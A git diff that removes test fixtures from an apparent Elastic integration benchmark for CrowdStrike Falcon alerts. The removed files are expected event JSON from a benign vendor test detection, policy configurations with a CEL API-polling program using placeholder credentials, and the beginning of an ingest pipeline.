-                        "cmdline": "cmd crowdstrike_test_medium",
-                        "filename": "cmd.exe",
-                        "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                        "local_process_id": "2796",
-                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
-                        "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17938741315",
-                        "process_id": "17938741315",
-                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
-                        "timestamp": "2025-06-06T10:20:21.000Z",
-                        "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
-                        "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
-                        "user_name": "win10_user3"
-                    },
-                    "has_script_or_module_ioc": false,
-                    "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
-                    "indicator_id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
-                    "is_synthetic_quarantine_disposition": false,
-                    "local_prevalence": "unique",
-                    "local_process_id": "6028",
-                    "logon_domain": "raquel-win10-3",
-                    "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
-                    "name": "DemoInformationalPattern",
-                    "objective": "Falcon Detection Method",
-                    "parent_details": {
-                        "cmdline": "cmd crowdstrike_test_low",
-                        "filename": "cmd.exe",
-                        "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                        "local_process_id": "4840",
-                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
-                        "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17940808135",
-                        "process_id": "17940808135",
-                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
-                        "timestamp": "2025-06-06T10:20:32.000Z",
-                        "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
-                        "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
-                        "user_name": "win10_user3"
-                    },
-                    "parent_process_id": "17940808135",
-                    "pattern_disposition": 0,
-                    "pattern_disposition_description": "Detection, standard detection.",
-                    "pattern_disposition_details": {
-                        "blocking_unsupported_or_disabled": false,
-                        "bootup_safeguard_enabled": false,
-                        "containment_file_system": false,
-                        "critical_process_disabled": false,
-                        "detect": false,
-                        "fs_operation_blocked": false,
-                        "handle_operation_downgraded": false,
-                        "inddet_mask": false,
-                        "indicator": false,
-                        "kill_action_failed": false,
-                        "kill_parent": false,
-                        "kill_process": false,
-                        "kill_subprocess": false,
-                        "mfa_required": false,
-                        "operation_blocked": false,
-                        "policy_disabled": false,
-                        "prevention_provisioning_enabled": false,
-                        "process_blocked": false,
-                        "quarantine_file": false,
-                        "quarantine_machine": false,
-                        "registry_operation_blocked": false,
-                        "response_action_already_applied": false,
-                        "response_action_failed": false,
-                        "response_action_triggered": false,
-                        "rooting": false,
-                        "sensor_only": false,
-                        "suspend_parent": false,
-                        "suspend_process": false
-                    },
-                    "pattern_id": "10307",
-                    "platform": "Windows",
-                    "poly_id": "AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==",
-                    "process_id": "17942810918",
-                    "process_start_time": "2025-06-06T10:20:41.000Z",
-                    "product": "epp",
-                    "scenario": "suspicious_activity",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "severity": 10,
-                    "severity_name": "Informational",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
-                    "show_in_ui": true,
-                    "source_products": [
-                        "Falcon Insight"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "status": "new",
-                    "tactic": "Falcon Overwatch",
-                    "tactic_id": "CSTA0006",
-                    "technique": "Malicious Activity",
-                    "technique_id": "CST0002",
-                    "template_instance_id": "1339",
-                    "timestamp": "2025-06-06T10:20:41.789Z",
-                    "tree_id": "17181460644",
-                    "tree_root": "17934037600",
-                    "triggering_process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17942810918",
-                    "type": "ldt",
-                    "updated_timestamp": "2025-06-06T10:21:50.710Z",
-                    "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
-                    "user_name": "win10_user3"
-                }
-            },
-            "device": {
-                "id": "7940b10993e844e398f83bd92aa92b8f",
-                "manufacturer": "Microsoft Corporation",
-                "model": {
-                    "name": "Virtual Machine"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
-                "kind": "alert",
-                "original": "{\"agent_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"aggregate_id\":\"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"alleged_filetype\":\"exe\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"cloud_indicator\":\"false\",\"cmdline\":\"cmd crowdstrike_test_informational\",\"composite_id\":\"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"confidence\":100,\"context_timestamp\":\"2025-06-06T10:20:41.124Z\",\"control_graph_id\":\"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"crawled_timestamp\":\"2025-06-06T10:21:45.624194206Z\",\"created_timestamp\":\"2025-06-06T10:21:45.624178312Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"An informational level detection was triggered on this process for testing purposes.\",\"device\":{\"agent_load_flags\":\"1\",\"agent_local_time\":\"2025-06-06T06:28:45.178Z\",\"agent_version\":\"7.24.19607.0\",\"bios_manufacturer\":\"Microsoft Corporation\",\"bios_version\":\"Hyper-V UEFI Release v4.1\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"config_id_base\":\"65994767\",\"config_id_build\":\"19607\",\"config_id_platform\":\"3\",\"device_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"external_ip\":\"81.2.69.144\",\"first_seen\":\"2025-05-29T11:54:43Z\",\"groups\":[\"f3ba4e75244b4d06837c910a00bf80be\"],\"hostinfo\":{\"domain\":\"\"},\"hostname\":\"raquel-win10-3\",\"instance_id\":\"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6\",\"last_seen\":\"2025-06-06T09:44:59Z\",\"local_ip\":\"10.0.0.13\",\"mac_address\":\"60-45-bd-d2-d4-37\",\"machine_domain\":\"\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2025-06-06T10:18:32Z\",\"os_version\":\"Windows 10\",\"ou\":null,\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"service_provider\":\"AZURE\",\"service_provider_account_id\":\"7599433a-346d-4c25-b9d0-2948136c41f5\",\"status\":\"normal\",\"system_manufacturer\":\"Microsoft Corporation\",\"system_product_name\":\"Virtual Machine\"},\"display_name\":\"TestTriggerInformational\",\"email_sent\":true,\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"global_prevalence\":\"common\",\"grandparent_details\":{\"cmdline\":\"cmd crowdstrike_test_medium\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"2796\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17938741315\",\"process_id\":\"17938741315\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:21Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"indicator_id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"ioc_context\":[],\"local_prevalence\":\"unique\",\"local_process_id\":\"6028\",\"logon_domain\":\"raquel-win10-3\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"name\":\"DemoInformationalPattern\",\"objective\":\"Falcon Detection Method\",\"parent_details\":{\"cmdline\":\"cmd crowdstrike_test_low\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"4840\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17940808135\",\"process_id\":\"17940808135\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:32Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"parent_process_id\":\"17940808135\",\"pattern_disposition\":0,\"pattern_disposition_description\":\"Detection, standard detection.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"containment_file_system\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"mfa_required\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"prevention_provisioning_enabled\":false,\"process_blocked\":false,\"quarantine_file\":false,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"response_action_already_applied\":false,\"response_action_failed\":false,\"response_action_triggered\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":10307,\"platform\":\"Windows\",\"poly_id\":\"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==\",\"priority_explanation\":[\"[MOD] The severity of the detection: Informational\"],\"priority_value\":10,\"process_id\":\"17942810918\",\"process_start_time\":\"1749205241\",\"product\":\"epp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":10,\"severity_name\":\"Informational\",\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"show_in_ui\":true,\"source_products\":[\"Falcon Insight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Falcon Overwatch\",\"tactic_id\":\"CSTA0006\",\"technique\":\"Malicious Activity\",\"technique_id\":\"CST0002\",\"template_instance_id\":\"1339\",\"timestamp\":\"2025-06-06T10:20:41.789Z\",\"tree_id\":\"17181460644\",\"tree_root\":\"17934037600\",\"triggering_process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17942810918\",\"type\":\"ldt\",\"updated_timestamp\":\"2025-06-06T10:21:50.710758858Z\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"}",
-                "severity": 21,
-                "type": [
-                    "start"
-                ]
-            },
-            "file": {
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "hostname": "raquel-win10-3",
-                "id": "7940b10993e844e398f83bd92aa92b8f",
-                "ip": [
-                    "81.2.69.144",
-                    "10.0.0.13"
-                ],
-                "mac": [
-                    "60-45-BD-D2-D4-37"
-                ],
-                "os": {
-                    "full": "Windows 10",
-                    "platform": "Windows",
-                    "type": "windows"
-                }
-            },
-            "message": "An informational level detection was triggered on this process for testing purposes.",
-            "process": {
-                "entity_id": "17942810918",
-                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                "hash": {
-                    "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0"
-                },
-                "name": "cmd.exe",
-                "parent": {
-                    "command_line": "cmd crowdstrike_test_low",
-                    "entity_id": "17940808135",
-                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "hash": {
-                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
-                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0"
-                    },
-                    "name": "cmd.exe",
-                    "pid": 17940808135
-                },
-                "pid": 17942810918,
-                "start": "2025-06-06T10:20:41.000Z",
-                "user": {
-                    "id": "S-1-5-21-2765107603-2663188678-2286454264-500",
-                    "name": "win10_user3"
-                }
-            },
-            "related": {
-                "hash": [
-                    "2b40c98ed0f7a1d3b091a3e8353132dc",
-                    "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
-                    "0000000000000000000000000000000000000000"
-                ],
-                "hosts": [
-                    "raquel-win10-3"
-                ],
-                "ip": [
-                    "81.2.69.144",
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
-                    "S-1-5-21-2765107603-2663188678-2286454264-500",
-                    "win10_user3"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "id": [
-                        "CSTA0006"
-                    ],
-                    "name": [
-                        "Falcon Overwatch"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0002"
-                    ],
-                    "name": [
-                        "Malicious Activity"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-21-2765107603-2663188678-2286454264-500",
-                "name": "win10_user3"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
deleted file mode 100644
index be41bb0d47..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-fields:
-  tags:
-    - preserve_original_event
-    - preserve_duplicate_custom_fields
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
deleted file mode 100644
index af6a6e323c..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
+++ /dev/null
@@ -1,134 +0,0 @@
-inputs:
-    - data_stream:
-        namespace: ep
-      meta:
-        package:
-            name: crowdstrike
-      name: test-default-crowdstrike
-      streams:
-        - auth.oauth2:
-            client.id: test_client_id
-            client.secret: ${SECRET_0}
-            token_url: http://host.tld/oauth2/token
-          config_version: 2
-          data_stream:
-            dataset: crowdstrike.alert
-          interval: 24h
-          program: |-
-            state.with(
-              (
-                state.?want_more.orValue(false) ?
-                  state.start_time
-                :
-                  state.?cursor.last_timestamp.orValue(
-                    (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano)
-                  )
-              ).as(start_time,
-                post_request(
-                  state.url.trim_right("/") + "/alerts/combined/alerts/v1?",
-                  "application/json",
-                  {
-                    ?"after": state.?next.page_token,
-                    "limit": int(state.batch_size),
-                    "sort": "updated_timestamp|asc",
-                    "filter": [
-                      "updated_timestamp:>'" + start_time + "'",
-                      ?state.?query.optMap(q, "(" + q + ")"),
-                    ].join("+"),
-                  }.encode_json()
-                ).do_request().as(resp, (resp.StatusCode == 200) ?
-                  resp.Body.decode_json().as(body,
-                    (size(body.?errors.orValue([])) > 0) ?
-                      {
-                        "events": body.errors.map(error,
-                          {
-                            "error": {
-                              "code": string(error.code),
-                              "message": string(error.message),
-                            },
-                          }
-                        ),
-                        "next": {},
-                        "want_more": false,
-                      }
-                    :
-                      {
-                        "events": has(body.resources) ?
-                          body.resources.map(e,
-                            {
-                              "message": e.encode_json(),
-                            }
-                          )
-                        :
-                          [],
-                        "start_time": start_time,
-                        "next": {
-                          ?"page_token": body.?meta.pagination.after,
-                        },
-                        "cursor": {
-                          // The records are sorted in ascending order based on the value of updated_timestamp,
-                          // in the next interval we start from the last event (newest) time.
-                          ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ?
-                            optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano))
-                          :
-                            state.?cursor.last_timestamp,
-                        },
-                        "want_more": has(body.?meta.pagination.after),
-                      }
-                  )
-                :
-                  {
-                    "events": {
-                      "error": {
-                        "code": string(resp.StatusCode),
-                        "id": string(resp.Status),
-                        "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + (
-                          (size(resp.Body) != 0) ?
-                            string(resp.Body)
-                          :
-                            string(resp.Status) + " (" + string(resp.StatusCode) + ")"
-                        ),
-                      },
-                    },
-                    "next": {},
-                    "want_more": false,
-                  }
-                )
-              )
-            )
-          publisher_pipeline.disable_host: true
-          redact:
-            fields: null
-          resource.ssl: null
-          resource.timeout: 30s
-          resource.tracer:
-            enabled: false
-            filename: ../../logs/cel/http-request-trace-*.ndjson
-            maxbackups: 5
-          resource.url: http://host.tld
-          state:
-            batch_size: 1000
-            initial_interval: 24h
-          tags:
-            - preserve_original_event
-            - preserve_duplicate_custom_fields
-            - forwarded
-            - crowdstrike-alert
-      type: cel
-      use_output: default
-output_permissions:
-    default:
-        _elastic_agent_checks:
-            cluster:
-                - monitor
-        _elastic_agent_monitoring:
-            indices: []
-        uuid-for-permissions-on-related-indices:
-            indices:
-                - names:
-                    - logs-crowdstrike.alert-ep
-                  privileges:
-                    - auto_configure
-                    - create_doc
-secret_references:
-    - {}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
deleted file mode 100644
index 58bbc1f403..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-vars:
-  url: http://host.tld
-  client_id: test_client_id
-  client_secret: test_client_secret
-  token_url: http://host.tld/oauth2/token
-data_stream:
-  vars:
-    preserve_original_event: true
-    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
deleted file mode 100644
index dbe88b82e4..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
+++ /dev/null
@@ -1,134 +0,0 @@
-inputs:
-    - data_stream:
-        namespace: ep
-      meta:
-        package:
-            name: crowdstrike
-      name: test-traced-crowdstrike
-      streams:
-        - auth.oauth2:
-            client.id: test_client_id
-            client.secret: ${SECRET_0}
-            token_url: http://host.tld/oauth2/token
-          config_version: 2
-          data_stream:
-            dataset: crowdstrike.alert
-          interval: 24h
-          program: |-
-            state.with(
-              (
-                state.?want_more.orValue(false) ?
-                  state.start_time
-                :
-                  state.?cursor.last_timestamp.orValue(
-                    (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano)
-                  )
-              ).as(start_time,
-                post_request(
-                  state.url.trim_right("/") + "/alerts/combined/alerts/v1?",
-                  "application/json",
-                  {
-                    ?"after": state.?next.page_token,
-                    "limit": int(state.batch_size),
-                    "sort": "updated_timestamp|asc",
-                    "filter": [
-                      "updated_timestamp:>'" + start_time + "'",
-                      ?state.?query.optMap(q, "(" + q + ")"),
-                    ].join("+"),
-                  }.encode_json()
-                ).do_request().as(resp, (resp.StatusCode == 200) ?
-                  resp.Body.decode_json().as(body,
-                    (size(body.?errors.orValue([])) > 0) ?
-                      {
-                        "events": body.errors.map(error,
-                          {
-                            "error": {
-                              "code": string(error.code),
-                              "message": string(error.message),
-                            },
-                          }
-                        ),
-                        "next": {},
-                        "want_more": false,
-                      }
-                    :
-                      {
-                        "events": has(body.resources) ?
-                          body.resources.map(e,
-                            {
-                              "message": e.encode_json(),
-                            }
-                          )
-                        :
-                          [],
-                        "start_time": start_time,
-                        "next": {
-                          ?"page_token": body.?meta.pagination.after,
-                        },
-                        "cursor": {
-                          // The records are sorted in ascending order based on the value of updated_timestamp,
-                          // in the next interval we start from the last event (newest) time.
-                          ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ?
-                            optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano))
-                          :
-                            state.?cursor.last_timestamp,
-                        },
-                        "want_more": has(body.?meta.pagination.after),
-                      }
-                  )
-                :
-                  {
-                    "events": {
-                      "error": {
-                        "code": string(resp.StatusCode),
-                        "id": string(resp.Status),
-                        "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + (
-                          (size(resp.Body) != 0) ?
-                            string(resp.Body)
-                          :
-                            string(resp.Status) + " (" + string(resp.StatusCode) + ")"
-                        ),
-                      },
-                    },
-                    "next": {},
-                    "want_more": false,
-                  }
-                )
-              )
-            )
-          publisher_pipeline.disable_host: true
-          redact:
-            fields: null
-          resource.ssl: null
-          resource.timeout: 30s
-          resource.tracer:
-            enabled: true
-            filename: ../../logs/cel/http-request-trace-*.ndjson
-            maxbackups: 5
-          resource.url: http://host.tld
-          state:
-            batch_size: 1000
-            initial_interval: 24h
-          tags:
-            - preserve_original_event
-            - preserve_duplicate_custom_fields
-            - forwarded
-            - crowdstrike-alert
-      type: cel
-      use_output: default
-output_permissions:
-    default:
-        _elastic_agent_checks:
-            cluster:
-                - monitor
-        _elastic_agent_monitoring:
-            indices: []
-        uuid-for-permissions-on-related-indices:
-            indices:
-                - names:
-                    - logs-crowdstrike.alert-ep
-                  privileges:
-                    - auto_configure
-                    - create_doc
-secret_references:
-    - {}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
deleted file mode 100644
index 64c1d9d27e..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-vars:
-  url: http://host.tld
-  client_id: test_client_id
-  client_secret: test_client_secret
-  token_url: http://host.tld/oauth2/token
-data_stream:
-  vars:
-    enable_request_tracer: true
-    preserve_original_event: true
-    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
deleted file mode 100644
index 7bdfd95a91..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-input: cel
-service: crowdstrike-alert
-vars:
-  url: http://{{Hostname}}:{{Port}}
-  client_id: xxxx
-  client_secret: xxxx
-  token_url: http://{{Hostname}}:{{Port}}/oauth2/token
-data_stream:
-  vars:
-    interval: 10s
-    batch_size: 1
-    preserve_original_event: true
-    preserve_duplicate_custom_fields: true
-assert:
-  hit_count: 3
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs
deleted file mode 100644
index b9c4c9c6fd..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs
+++ /dev/null
@@ -1,130 +0,0 @@
-config_version: 2
-interval: {{interval}}
-resource.tracer:
-  enabled: {{enable_request_tracer}}
-  filename: "../../logs/cel/http-request-trace-*.ndjson"
-  maxbackups: 5
-{{#if proxy_url}}
-resource.proxy_url: {{proxy_url}}
-{{/if}}
-{{#if proxy_headers}}
-resource.proxy_headers: {{proxy_headers}}
-{{/if}}
-{{#if ssl}}
-resource.ssl: {{ssl}}
-{{/if}}
-{{#if http_client_timeout}}
-resource.timeout: {{http_client_timeout}}
-{{/if}}
-resource.url: {{url}}
-auth.oauth2:
-  client.id: {{client_id}}
-  client.secret: {{client_secret}}
-  token_url: {{token_url}}
-state:
-  initial_interval: {{initial_interval}}
-  batch_size: {{batch_size}}
-{{#if query}}
-  query: {{query}}
-{{/if}}
-redact:
-  fields: ~
-program: |-
-  state.with(
-    (
-      state.?want_more.orValue(false) ?
-        state.start_time
-      :
-        state.?cursor.last_timestamp.orValue(
-          (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano)
-        )
-    ).as(start_time,
-      post_request(
-        state.url.trim_right("/") + "/alerts/combined/alerts/v1?",
-        "application/json",
-        {
-          ?"after": state.?next.page_token,
-          "limit": int(state.batch_size),
-          "sort": "updated_timestamp|asc",
-          "filter": [
-            "updated_timestamp:>'" + start_time + "'",
-            ?state.?query.optMap(q, "(" + q + ")"),
-          ].join("+"),
-        }.encode_json()
-      ).do_request().as(resp, (resp.StatusCode == 200) ?
-        resp.Body.decode_json().as(body,
-          (size(body.?errors.orValue([])) > 0) ?
-            {
-              "events": body.errors.map(error,
-                {
-                  "error": {
-                    "code": string(error.code),
-                    "message": string(error.message),
-                  },
-                }
-              ),
-              "next": {},
-              "want_more": false,
-            }
-          :
-            {
-              "events": has(body.resources) ?
-                body.resources.map(e,
-                  {
-                    "message": e.encode_json(),
-                  }
-                )
-              :
-                [],
-              "start_time": start_time,
-              "next": {
-                ?"page_token": body.?meta.pagination.after,
-              },
-              "cursor": {
-                // The records are sorted in ascending order based on the value of updated_timestamp,
-                // in the next interval we start from the last event (newest) time.
-                ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ?
-                  optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano))
-                :
-                  state.?cursor.last_timestamp,
-              },
-              "want_more": has(body.?meta.pagination.after),
-            }
-        )
-      :
-        {
-          "events": {
-            "error": {
-              "code": string(resp.StatusCode),
-              "id": string(resp.Status),
-              "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + (
-                (size(resp.Body) != 0) ?
-                  string(resp.Body)
-                :
-                  string(resp.Status) + " (" + string(resp.StatusCode) + ")"
-              ),
-            },
-          },
-          "next": {},
-          "want_more": false,
-        }
-      )
-    )
-  )
-tags:
-{{#if preserve_original_event}}
-  - preserve_original_event
-{{/if}}
-{{#if preserve_duplicate_custom_fields}}
-  - preserve_duplicate_custom_fields
-{{/if}}
-{{#each tags as |tag|}}
-  - {{tag}}
-{{/each}}
-{{#contains "forwarded" tags}}
-publisher_pipeline.disable_host: true
-{{/contains}}
-{{#if processors}}
-processors:
-{{processors}}
-{{/if}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
deleted file mode 100644
index ca22a3da8f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
+++ /dev/null
@@ -1,2829 +0,0 @@
----
-description: Pipeline for processing Alert logs.
-processors:
-  - remove:
-      field:
-        - organization
-        - division
-        - team
-      ignore_missing: true
-      if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String
-      tag: remove_agentless_tags
-      description: >-
-        Removes the fields added by Agentless as metadata,
-        as they can collide with ECS fields.
-  - set:
-      field: ecs.version
-      tag: set_ecs_version
-      value: 8.17.0
-  - set:
-      field: event.kind
-      tag: set_event_kind
-      value: alert
-  - rename:
-      field: message
-      tag: rename_message_to_event_original
-      target_field: event.original
-      ignore_missing: true
-      description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document.
-      if: ctx.event?.original == null
-  - remove:
-      field: message
-      tag: remove_message
-      ignore_missing: true
-      description: The `message` field is no longer required if the document has an `event.original` field.
-      if: ctx.event?.original != null
-  - terminate:
-      tag: data_collection_error
-      if: ctx.error?.message != null && ctx.message == null && ctx.event?.original == null
-      description: error message set and no data to process.
-  - json:
-      field: event.original
-      tag: json_event_original
-      target_field: json
-      on_failure:
-        - append:
-            field: error.message
